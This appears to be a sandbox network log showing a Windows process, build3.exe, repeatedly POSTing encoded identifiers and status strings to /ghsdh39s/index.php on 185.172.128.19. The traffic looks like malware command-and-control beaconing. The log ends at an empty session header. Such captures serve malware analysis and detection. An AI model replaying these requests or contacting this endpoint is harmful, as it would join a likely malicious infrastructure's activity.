Dec 20, 2023 15:37:35.408128977 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:35.711440086 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49967	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:36.124130011 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:36.419018984 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:36.421688080 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:36.719126940 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49968	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:37.125931025 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:37.427972078 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49970	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:37.729242086 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:38.029894114 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49971	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:38.430834055 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:38.721504927 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49972	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:39.025291920 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:39.327219963 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49973	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:39.728943110 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:40.020812035 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:40.023406029 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:40.317322969 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49975	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:40.736018896 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:41.033901930 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49976	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:41.331691027 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:41.628360987 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49977	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:42.056739092 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:42.348529100 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49978	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:42.646641970 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:42.942770958 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49980	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:43.335040092 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:43.623683929 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49981	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:43.940490961 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:44.236673117 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49982	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:44.648737907 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:44.936536074 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:44.939228058 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:45.229084015 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49983	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:45.659739017 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:45.950628996 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49985	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:46.250427961 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:46.544243097 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49986	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:46.952466965 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:47.244216919 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:47.251251936 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:47.544930935 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49987	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:48.195786953 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:48.488966942 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	49988	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:48.797389984 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:49.105704069 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49989	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:49.519731045 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:50.355839968 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:50.622457981 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	49990	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
